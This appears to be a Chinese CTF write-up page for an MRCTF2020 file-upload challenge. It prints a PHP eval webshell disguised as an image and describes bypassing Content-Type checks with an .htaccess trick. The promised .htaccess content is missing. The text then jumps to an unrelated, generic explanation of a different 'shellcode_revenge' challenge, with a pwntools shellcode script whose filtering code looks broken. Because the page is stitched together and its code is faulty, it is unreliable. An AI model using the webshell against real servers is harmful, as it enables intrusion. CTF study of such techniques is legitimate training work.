[MRCTF2020]你传你呢

本文介绍了MRCTF2020比赛中涉及的文件上传漏洞利用,包括图片马、Content-Type验证绕过及.htaccess文件的使用。通过信息收集,发现后端为PHP,利用特定字典尝试文件上传。最终,作者通过修改Content-Type并利用图片马创建了.htaccess文件,成功获取蚁剑连接,但由于disable_functions限制,无法直接读取flag,只能下载。

知识点

文件上传:图片马&Content-Type验证&.htacess文件

信息收集

应该是考察文件上传,后端是php。
考虑到文件上传姿势比较多,如果一个个试很浪费时间,所以这里找了个php文件上传的字典
貌似是图片马可以,所以可以开始利用

利用过程

准备一张图片马,命名shell.png

   <?php @eval($_POST['attack']) ?>

.htaccess文件

### 关于 mrctf2020 Shellcode 题目解析 mrctf2020中的`shellcode_revenge`是一道较为复杂的逆向工程与漏洞利用相结合的题目[^1]。该题目的核心在于理解给定二进制文件的工作机制以及如何构造有效的Shellcode来绕过各种防护措施。 #### 一、环境准备 为了完成此挑战,参赛者通常需要设置一个类似的实验环境,在本地重现目标程序的行为以便更好地分析其逻辑并测试所编写Shellcode的效果。这可能涉及到安装特定版本的操作系统及其补丁级别,并禁用不必要的安全特性如ASLR(Address Space Layout Randomization),DEP(Data Execution Prevention)等。 #### 二、静态分析 通过反汇编工具(例如IDA Pro, Ghidra 或 Radare2)可以获取到可执行文件内部结构的信息,包括但不限于函数调用图谱、字符串表项以及其他有助于推断程序意图的数据片段。对于本题而言,重点是要找到能够被攻击者控制输入影响的部分——即存在缓冲区溢出或其他形式内存破坏缺陷的地方。 #### 三、动态调试 借助GDB这样的调试器可以在运行时监控应用程序状态变化情况,观察数据流走向从而验证假设是否成立;同时也可以用来辅助定位某些难以仅靠静态方法得出结论的关键位置。比如确认哪些寄存器/变量保存着重要指针值或是返回地址之类的东西。 #### 四、构建Payload 基于前面两步获得的知识点,现在应该清楚知道怎样去触发漏洞并将控制权转移到自定义代码上去了。此时就需要精心设计一段紧凑高效的机器指令序列作为最终载荷(Payload),它不仅要实现预期功能(通常是打开shell或者其他远程命令接口),而且还要考虑到实际环境中可能存在的一些限制条件,像坏字符过滤等问题都需要妥善处理好。 ```python # Python脚本用于生成payload from pwn import * context.arch = 'amd64' # 设置架构类型为x86_64 shellcode = asm(shellcraft.sh()) # 使用pwntools库自动组装简单的execve("/bin/sh") shellcode bad_chars = b'\x00\x0a\x0d' # 定义不允许出现的字节列表 filtered_shellcode = ''.join([chr(ord(c)) for c in shellcode if ord(c) not in bad_chars]) # 过滤掉非法字符 print(filtered_shellcode.encode('latin-1')) # 输出经过筛选后的shellcode供后续使用 ``` #### 五、提交Flag 当一切准备工作都完成后就可以尝试发送构造好的exploit至服务器端口等待响应了。如果成功的话将会得到交互式的shell访问权限进而读取flag文本内容完成解题过程。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值